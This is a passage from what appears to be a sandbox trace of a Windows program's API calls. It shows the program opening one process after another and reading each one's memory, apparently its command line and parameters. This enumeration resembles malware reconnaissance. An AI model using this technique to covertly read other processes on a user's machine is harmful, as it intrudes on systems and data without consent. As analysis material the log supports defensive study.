dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0289.563] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0289.578] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x778) returned 0x16c [0289.578] GetLastError () returned 0x0 [0289.580] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0289.580] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3ba018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0289.580] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0289.580] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x511c50, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0289.580] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5118e8, lpBuffer=0x2dc22fc240, nSize=0x30, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0289.582] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0289.583] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0289.583] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3ba020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0289.583] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5112d0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0289.584] malloc (_Size=0x32) returned 0x20abc280fd0 [0289.584] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x511918, lpBuffer=0x20abc280fd0, nSize=0x30, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc280fd0*, lpNumberOfBytesRead=0x0) returned 1 [0289.584] free (_Block=0x20abc280fd0) [0289.585] CloseHandle (hObject=0x16c) returned 1 [0289.585] _ui64tow_s (in: _Value=0x7fc, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="2044") returned 0x0 [0289.590] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="2044") returned 4 [0289.591] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0289.591] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0289.618] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7fc) returned 0x16c [0289.618] GetLastError () returned 0x0 [0289.619] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0289.619] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0xc51ffb018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0289.619] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0289.620] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x18d4c0e1c70, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0289.620] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x18d4c0e18c8, lpBuffer=0x2dc22fc240, nSize=0x44, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0289.621] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0289.623] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0289.623] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0xc51ffb020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0289.623] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x18d4c0e12b0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0289.623] malloc (_Size=0x6c) returned 0x20abc282120 [0289.623] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x18d4c0e190c, lpBuffer=0x20abc282120, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc282120*, lpNumberOfBytesRead=0x0) returned 1 [0289.624] free (_Block=0x20abc282120) [0289.625] CloseHandle (hObject=0x16c) returned 1 [0289.625] _ui64tow_s (in: _Value=0x8b4, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="2228") returned 0x0 [0289.629] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="2228") returned 4 [0289.631] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0289.631] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0289.658] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8b4) returned 0x16c [0289.658] GetLastError () returned 0x0 [0289.659] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0289.659] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x9a9d57f018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0289.660] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0289.660] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x20f49003780, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0289.661] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x20f490032e8, lpBuffer=0x2dc22fc240, nSize=0xa0, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0289.663] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0289.665] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0289.665] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x9a9d57f020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0289.666] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x20f49002c60, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0289.666] malloc (_Size=0x118) returned 0x20abc2ac1e0 [0289.667] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x20f49003388, lpBuffer=0x20abc2ac1e0, nSize=0x116, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2ac1e0*, lpNumberOfBytesRead=0x0) returned 1 [0289.668] free (_Block=0x20abc2ac1e0) [0289.669] CloseHandle (hObject=0x16c) returned 1 [0289.669] _ui64tow_s (in: _Value=0x92c, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="2348") returned 0x0 [0289.673] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="2348") returned 4 [0289.674] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0289.674] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0289.687] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x92c) returned 0x16c [0289.687] GetLastError () returned 0x0 [0289.688] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0289.688] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0xbecf55d018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0289.763] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0289.765] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1df67f03730, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0289.766] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1df67f032b4, lpBuffer=0x2dc22fc240, nSize=0x96, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0289.768] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0289.769] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0289.769] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0xbecf55d020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0289.770] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1df67f02c20, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0289.771] malloc (_Size=0x11a) returned 0x20abc284e70 [0289.771] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1df67f0334a, lpBuffer=0x20abc284e70, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc284e70*, lpNumberOfBytesRead=0x0) returned 1 [0289.772] free (_Block=0x20abc284e70) [0289.773] CloseHandle (hObject=0x16c) returned 1 [0289.774] _ui64tow_s (in: _Value=0x828, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="2088") returned 0x0 [0289.778] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="2088") returned 4 [0289.779] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0289.779] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0289.796] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x828) returned 0x16c [0289.796] GetLastError () returned 0x0 [0289.797] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0289.797] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x6cb0f5b018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0289.798] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0289.799] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1c9d5603490, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0289.799] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1c9d56030e8, lpBuffer=0x2dc22fc240, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0289.801] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0289.803] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0289.803] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x6cb0f5b020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0289.804] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1c9d5602ad0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0289.804] malloc (_Size=0x6a) returned 0x20abc282120 [0289.804] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1c9d5603128, lpBuffer=0x20abc282120, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc282120*, lpNumberOfBytesRead=0x0) returned 1 [0289.805] free (_Block=0x20abc282120) [0289.806] CloseHandle (hObject=0x16c) returned 1 [0289.807] _ui64tow_s (in: _Value=0xf8, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="248") returned 0x0 [0289.811] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="248") returned 3 [0289.812] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0289.812] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0289.825] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf8) returned 0x16c [0289.825] GetLastError () returned 0x0 [0289.827] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0289.827] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5660c01018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0289.827] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0289.827] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2117e361bd0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0289.827] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2117e361818, lpBuffer=0x2dc22fc240, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0289.828] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0289.830] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0289.830] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5660c01020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0289.830] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2117e361200, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0289.830] malloc (_Size=0x64) returned 0x20abc2801b0 [0289.830] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2117e361864, lpBuffer=0x20abc2801b0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2801b0*, lpNumberOfBytesRead=0x0) returned 1 [0289.831] free (_Block=0x20abc2801b0) [0289.831] CloseHandle (hObject=0x16c) returned 1 [0289.832] _ui64tow_s (in: _Value=0xa54, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="2644") returned 0x0 [0289.837] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="2644") returned 4 [0289.838] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0289.838] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0289.850] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa54) returned 0x16c [0289.851] GetLastError () returned 0x0 [0289.852] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0289.852] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x112bab0018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0289.852] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0289.852] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x142610b1c80, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0289.852] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x142610b18c8, lpBuffer=0x2dc22fc240, nSize=0x5a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0289.854] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0289.855] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0289.855] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x112bab0020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0289.855] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x142610b12b0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0289.855] malloc (_Size=0x72) returned 0x20abc282120 [0289.855] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x142610b1922, lpBuffer=0x20abc282120, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc282120*, lpNumberOfBytesRead=0x0) returned 1 [0289.856] free (_Block=0x20abc282120) [0289.857] CloseHandle (hObject=0x16c) returned 1 [0289.892] _ui64tow_s (in: _Value=0xa50, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="2640") returned 0x0 [0289.897] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="2640") returned 4 [0289.898] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x1d63ec4f, dwBuildNumber=0x7ffb, dwPlatformId=0xc22fc7f0, szCSDVersion="-") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0289.898] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0289.936] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa50) returned 0x16c [0289.936] GetLastError () returned 0x0 [0289.937] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0289.937] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3ec7242018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0289.974] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0289.990] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x14b00903510, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0290.005] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x14b0090312a, lpBuffer=0x2dc22fc240, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0290.054] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0290.075] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0290.075] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3ec7242020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0290.084] ReadProcessMemory (in: 